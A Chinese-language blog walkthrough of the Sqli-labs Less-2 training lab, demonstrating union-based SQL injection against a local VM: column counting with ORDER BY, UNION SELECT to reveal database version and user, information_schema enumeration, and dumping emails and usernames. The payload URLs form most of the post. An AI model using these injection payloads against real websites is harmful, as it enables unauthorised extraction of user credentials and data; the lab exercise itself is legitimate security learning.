SQL注入

SQL注入

简单Sqli-labs/Less-2演示

信息收集

1648457840584

我们使用ubantu搭建Sqli-labs靶场

安装:参考博客https://blog.csdn.net/han123456o/article/details/107822333

确定注入源:

在传入的值后面加上异常值查看对页面的影响

逻辑值
    and 1 = 1		页面正常
    and 1 = 2		页面异常
    则可能存在注入点

1648464642868

发现这里爆出异常,且能继续,可以确定这个param:id 是合适的注入源

备注:在上面的代码中可以用$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";`直接传递的变量$id带入sql语句中执行没有做任何的限制,这样为恶意代码插入执行创造了条件。通过修改带入的代码执行的语句最终达到SQL注入获取敏感信息

确定数据库中字段数

order by
		通过order by 判断注入的字段数

使用:http://192.168.222.131/Less-2/?id=1 order by 3

1648464521496

访问:http://192.168.222.131/Less-2/?id=1 order by 4 爆出异常,可以确定这个数据库查询的字段数为 3

1648464969092

使用union关键字

http://192.168.222.131/Less-2/?id=-1 union select 1,2,3

这里的-1是传一个非 ,使其回显出结果的位置

同理: http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,2,3

1648465572931

在数据库中:

mysql> select * from users where id =1 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.00 sec)

收集信息

数据库版本: version()					5.5.44-0ubuntu0.14.04.1
数据库名字: database()					security
数据库用户: user()						root@localhost
操作系统:   @@version_compile_os		  debian-linux-gnu

如:http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,version(),database()

1648466212314

http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,user(),@@version_compile_os

1648466298260

在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。

  • 获取相关信息
information_schema.tables			#information_schema下面的所有表名
information_schema.columns			#information_schema下面所有的列名
table_name										#表名
column_name										#列名
table_schema									#数据库名

http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security'

1648467022289

查询所有表名:在table_name上使用group_concat

http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’

1648467080570

查询指定表名users下的列名信息:

http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='users'

1648467517031

users表下有id,username,password

同样得到表emails下有email_id字段

查询指定信息

http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,email_id,3 from emails

1648467838515

查询到用户Dumb的邮箱为 Dumb@dhakkan.com

查询所有用户和密码

http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(username),group_concat(username) from users

1648468261744

posted @ 2023-02-04 20:53  crabin88  阅读(25)  评论(0编辑  收藏  举报